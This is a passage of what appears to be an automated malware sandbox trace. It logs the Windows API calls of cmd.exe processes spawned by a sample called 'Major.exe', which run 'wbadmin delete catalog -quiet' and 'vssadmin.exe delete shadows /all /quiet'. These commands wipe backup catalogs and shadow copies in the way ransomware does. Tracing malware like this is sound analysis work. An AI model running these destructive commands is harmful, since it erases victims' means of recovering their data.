0x7ff92fdee300 [0087.090] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0087.090] ??_V@YAXPEAX@Z () returned 0x1 [0087.091] GetProcessHeap () returned 0x1ad7b310000 [0087.091] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x4012) returned 0x1ad7b319f80 [0087.091] GetProcessHeap () returned 0x1ad7b310000 [0087.091] RtlFreeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, BaseAddress=0x1ad7b319f80) returned 1 [0087.092] _wcsicmp (_String1="wbadmin", _String2=")") returned 78 [0087.092] _wcsicmp (_String1="FOR", _String2="wbadmin") returned -17 [0087.092] _wcsicmp (_String1="FOR/?", _String2="wbadmin") returned -17 [0087.092] _wcsicmp (_String1="IF", _String2="wbadmin") returned -14 [0087.092] _wcsicmp (_String1="IF/?", _String2="wbadmin") returned -14 [0087.092] _wcsicmp (_String1="REM", _String2="wbadmin") returned -5 [0087.092] _wcsicmp (_String1="REM/?", _String2="wbadmin") returned -5 [0087.092] GetProcessHeap () returned 0x1ad7b310000 [0087.092] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0xb0) returned 0x1ad7b3112b0 [0087.092] GetProcessHeap () returned 0x1ad7b310000 [0087.092] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x20) returned 0x1ad7b318810 [0087.092] GetProcessHeap () returned 0x1ad7b310000 [0087.092] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x3e) returned 0x1ad7b311370 [0087.093] GetConsoleTitleW (in: lpConsoleTitle=0x61f1f3f570, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.269] malloc (_Size=0xffce) returned 0x1ad7b420060 [0087.270] ??_V@YAXPEAX@Z () returned 0x1ad7b420060 [0087.270] malloc (_Size=0xffce) returned 0x1ad7b430040 [0087.270] ??_V@YAXPEAX@Z () returned 0x1ad7b430040 [0087.271] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0087.271] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0087.271] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0087.271] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0087.271] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0087.271] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0087.271] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0087.271] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0087.271] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0087.271] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0087.271] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0087.271] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0087.271] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0087.271] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0087.271] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0087.272] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0087.272] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0087.272] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0087.272] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0087.272] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0087.272] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0087.272] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0087.272] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0087.272] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0087.272] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0087.272] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0087.272] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0087.272] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0087.272] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0087.272] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0087.272] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0087.272] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0087.272] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0087.272] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0087.272] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0087.272] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0087.272] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0087.273] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0087.273] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0087.273] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0087.273] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0087.273] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0087.273] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0087.273] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0087.273] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0087.273] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0087.273] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0087.273] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0087.273] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0087.273] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0087.273] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0087.273] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0087.273] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0087.273] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0087.273] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0087.273] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0087.273] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0087.273] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0087.273] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0087.273] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0087.273] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0087.274] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0087.274] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0087.274] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0087.274] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0087.274] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0087.274] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0087.274] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0087.274] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0087.274] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0087.274] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0087.274] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0087.274] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0087.274] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0087.274] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0087.274] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0087.274] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0087.274] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0087.274] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0087.274] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0087.274] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0087.274] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0087.274] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0087.274] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0087.274] _wcsicmp (_String1="wbadmin", _String2="FOR") returned 17 [0087.274] _wcsicmp (_String1="wbadmin", _String2="IF") returned 14 [0087.274] _wcsicmp (_String1="wbadmin", _String2="REM") returned 5 [0087.275] ??_V@YAXPEAX@Z () returned 0x1 [0087.275] GetProcessHeap () returned 0x1ad7b310000 [0087.275] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0xffde) returned 0x1ad7b319f80 [0087.276] GetProcessHeap () returned 0x1ad7b310000 [0087.276] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x4e) returned 0x1ad7b3113c0 [0087.276] _wcsnicmp (_String1="wbad", _String2="cmd ", _MaxCount=0x4) returned 20 [0087.276] malloc (_Size=0xffce) returned 0x1ad7b430040 [0087.276] ??_V@YAXPEAX@Z () returned 0x1ad7b430040 [0087.276] GetProcessHeap () returned 0x1ad7b310000 [0087.276] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x1ffac) returned 0x1ad7b329f70 [0087.278] SetErrorMode (uMode=0x0) returned 0x0 [0087.278] SetErrorMode (uMode=0x1) returned 0x0 [0087.278] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1ad7b329f80, lpFilePart=0x61f1f3edf0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x61f1f3edf0*="Desktop") returned 0x17 [0087.278] SetErrorMode (uMode=0x0) returned 0x1 [0087.278] GetProcessHeap () returned 0x1ad7b310000 [0087.278] RtlReAllocateHeap (Heap=0x1ad7b310000, Flags=0x0, Ptr=0x1ad7b329f70, Size=0x50) returned 0x1ad7b329f70 [0087.278] GetProcessHeap () returned 0x1ad7b310000 [0087.278] RtlSizeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, MemoryPointer=0x1ad7b329f70) returned 0x50 [0087.278] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0087.278] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0087.278] GetProcessHeap () returned 0x1ad7b310000 [0087.278] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x1bc) returned 0x1ad7b311420 [0087.278] GetProcessHeap () returned 0x1ad7b310000 [0087.278] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x368) returned 0x1ad7b3115f0 [0087.284] GetProcessHeap () returned 0x1ad7b310000 [0087.284] RtlReAllocateHeap (Heap=0x1ad7b310000, Flags=0x0, Ptr=0x1ad7b3115f0, Size=0x1be) returned 0x1ad7b3115f0 [0087.284] GetProcessHeap () returned 0x1ad7b310000 [0087.284] RtlSizeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, MemoryPointer=0x1ad7b3115f0) returned 0x1be [0087.284] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0087.284] GetProcessHeap () returned 0x1ad7b310000 [0087.284] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0xe8) returned 0x1ad7b3117c0 [0087.284] GetProcessHeap () returned 0x1ad7b310000 [0087.284] RtlReAllocateHeap (Heap=0x1ad7b310000, Flags=0x0, Ptr=0x1ad7b3117c0, Size=0x7e) returned 0x1ad7b3117c0 [0087.284] GetProcessHeap () returned 0x1ad7b310000 [0087.284] RtlSizeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, MemoryPointer=0x1ad7b3117c0) returned 0x7e [0087.285] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.285] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x61f1f3eb60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x61f1f3eb60) returned 0xffffffffffffffff [0087.285] GetLastError () returned 0x2 [0087.285] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.285] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x61f1f3eb60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x61f1f3eb60) returned 0xffffffffffffffff [0087.286] GetLastError () returned 0x2 [0087.286] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x61f1f3eb60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x61f1f3eb60) returned 0x1ad7b311850 [0087.286] GetProcessHeap () returned 0x1ad7b310000 [0087.286] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x0, Size=0x28) returned 0x1ad7b3118b0 [0087.286] FindClose (in: hFindFile=0x1ad7b311850 | out: hFindFile=0x1ad7b311850) returned 1 [0087.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wbadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x61f1f3eb60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x61f1f3eb60) returned 0xffffffffffffffff [0087.286] GetLastError () returned 0x2 [0087.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wbadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x61f1f3eb60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x61f1f3eb60) returned 0x1ad7b311850 [0087.286] GetProcessHeap () returned 0x1ad7b310000 [0087.286] RtlReAllocateHeap (Heap=0x1ad7b310000, Flags=0x0, Ptr=0x1ad7b3118b0, Size=0x8) returned 0x1ad7b3118b0 [0087.286] FindClose (in: hFindFile=0x1ad7b311850 | out: hFindFile=0x1ad7b311850) returned 1 [0087.286] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0087.286] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0087.286] ??_V@YAXPEAX@Z () returned 0x1 [0087.286] GetConsoleTitleW (in: lpConsoleTitle=0x61f1f3f0e0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.325] InitializeProcThreadAttributeList (in: lpAttributeList=0x61f1f3f000, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x61f1f3eef0 | out: lpAttributeList=0x61f1f3f000, lpSize=0x61f1f3eef0) returned 1 [0087.325] UpdateProcThreadAttribute (in: lpAttributeList=0x61f1f3f000, dwFlags=0x0, Attribute=0x60001, lpValue=0x61f1f3eedc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x61f1f3f000, lpPreviousValue=0x0) returned 1 [0087.325] GetStartupInfoW (in: lpStartupInfo=0x61f1f3ef90 | out: lpStartupInfo=0x61f1f3ef90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0087.325] GetProcessHeap () returned 0x1ad7b310000 [0087.325] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x20) returned 0x1ad7b311850 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0087.326] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0087.327] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0087.327] GetProcessHeap () returned 0x1ad7b310000 [0087.327] RtlFreeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, BaseAddress=0x1ad7b311850) returned 1 [0087.327] GetProcessHeap () returned 0x1ad7b310000 [0087.327] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x12) returned 0x1ad7b318840 [0087.327] lstrcmpW (lpString1="\\wbadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0087.329] _get_osfhandle (_FileHandle=1) returned 0xc [0087.329] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0087.362] _get_osfhandle (_FileHandle=0) returned 0x8 [0087.362] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1f7) returned 1 [0087.369] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\wbadmin.exe", lpCommandLine="wbadmin delete catalog -quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x61f1f3ef20*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wbadmin delete catalog -quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x61f1f3eef8 | out: lpCommandLine="wbadmin delete catalog -quiet", lpProcessInformation=0x61f1f3eef8*(hProcess=0x9c, hThread=0x98, dwProcessId=0x7bc, dwThreadId=0xd34)) returned 1 [0088.850] CloseHandle (hObject=0x98) returned 1 [0088.850] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0088.850] GetProcessHeap () returned 0x1ad7b310000 [0088.850] RtlFreeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, BaseAddress=0x1ad7b3193f0) returned 1 [0088.850] GetEnvironmentStringsW () returned 0x1ad7b3193f0* [0088.850] GetProcessHeap () returned 0x1ad7b310000 [0088.850] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0xb7e) returned 0x1ad7b315eb0 [0088.850] FreeEnvironmentStringsA (penv="=") returned 1 [0088.850] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0107.135] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x61f1f3ee78 | out: lpExitCode=0x61f1f3ee78*=0x0) returned 1 [0107.135] CloseHandle (hObject=0x9c) returned 1 [0107.135] _vsnwprintf (in: _Buffer=0x61f1f3f048, _BufferCount=0x13, _Format="%08X", _ArgList=0x61f1f3ee88 | out: _Buffer="00000000") returned 8 [0107.136] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0107.136] GetProcessHeap () returned 0x1ad7b310000 [0107.136] RtlFreeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, BaseAddress=0x1ad7b315eb0) returned 1 [0107.136] GetEnvironmentStringsW () returned 0x1ad7b318860* [0107.136] GetProcessHeap () returned 0x1ad7b310000 [0107.136] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0xba4) returned 0x1ad7b329fd0 [0107.137] FreeEnvironmentStringsA (penv="=") returned 1 [0107.137] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0107.137] GetProcessHeap () returned 0x1ad7b310000 [0107.137] RtlFreeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, BaseAddress=0x1ad7b329fd0) returned 1 [0107.137] GetEnvironmentStringsW () returned 0x1ad7b318860* [0107.137] GetProcessHeap () returned 0x1ad7b310000 [0107.137] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0xba4) returned 0x1ad7b329fd0 [0107.138] FreeEnvironmentStringsA (penv="=") returned 1 [0107.138] GetProcessHeap () returned 0x1ad7b310000 [0107.138] RtlFreeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, BaseAddress=0x1ad7b318840) returned 1 [0107.138] DeleteProcThreadAttributeList (in: lpAttributeList=0x61f1f3f000 | out: lpAttributeList=0x61f1f3f000) [0107.138] ??_V@YAXPEAX@Z () returned 0x1 [0107.138] _get_osfhandle (_FileHandle=1) returned 0xc [0107.138] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0107.150] _get_osfhandle (_FileHandle=1) returned 0xc [0107.150] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc08 | out: lpMode=0x7ff6a7effc08) returned 1 [0107.155] _get_osfhandle (_FileHandle=1) returned 0xc [0107.155] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0107.158] _get_osfhandle (_FileHandle=0) returned 0x8 [0107.158] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc0c | out: lpMode=0x7ff6a7effc0c) returned 1 [0107.160] SetConsoleInputExeNameW () returned 0x1 [0107.160] GetConsoleOutputCP () returned 0x1b5 [0107.161] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0107.161] SetThreadUILanguage (LangId=0x0) returned 0x409 [0107.163] exit (_Code=0) Thread: id = 21 os_tid = 0xd60 Process: id = "6" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x6a2f000" os_pid = "0x754" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xdc4" cmd_line = "/C vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 15 os_tid = 0x824 [0086.570] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6a7ec0000 [0086.570] __set_app_type (_Type=0x1) [0086.570] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6a7ed6d00) returned 0x0 [0086.570] __getmainargs (in: _Argc=0x7ff6a7ef9200, _Argv=0x7ff6a7ef9208, _Env=0x7ff6a7ef9210, _DoWildCard=0, _StartInfo=0x7ff6a7ef921c | out: _Argc=0x7ff6a7ef9200, _Argv=0x7ff6a7ef9208, _Env=0x7ff6a7ef9210) returned 0 [0086.570] _onexit (_Func=0x7ff6a7ed7fd0) returned 0x7ff6a7ed7fd0 [0086.570] _onexit (_Func=0x7ff6a7ed7fe0) returned 0x7ff6a7ed7fe0 [0086.570] _onexit (_Func=0x7ff6a7ed7ff0) returned 0x7ff6a7ed7ff0 [0086.570] _onexit (_Func=0x7ff6a7ed8000) returned 0x7ff6a7ed8000 [0086.571] _onexit (_Func=0x7ff6a7ed8010) returned 0x7ff6a7ed8010 [0086.571] _onexit (_Func=0x7ff6a7ed8020) returned 0x7ff6a7ed8020 [0086.571] GetCurrentThreadId () returned 0x824 [0086.571] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x824) returned 0x7c [0086.571] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0086.572] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0086.572] SetThreadUILanguage (LangId=0x0) returned 0x409 [0086.887] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0086.887] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x61f88ffc78 | out: phkResult=0x61f88ffc78*=0x0) returned 0x2 [0086.887] VirtualQuery (in: lpAddress=0x61f88ffc64, lpBuffer=0x61f88ffbe0, dwLength=0x30 | out: lpBuffer=0x61f88ffbe0*(BaseAddress=0x61f88ff000, AllocationBase=0x61f8800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.887] VirtualQuery (in: lpAddress=0x61f8800000, lpBuffer=0x61f88ffbe0, dwLength=0x30 | out: lpBuffer=0x61f88ffbe0*(BaseAddress=0x61f8800000, AllocationBase=0x61f8800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, 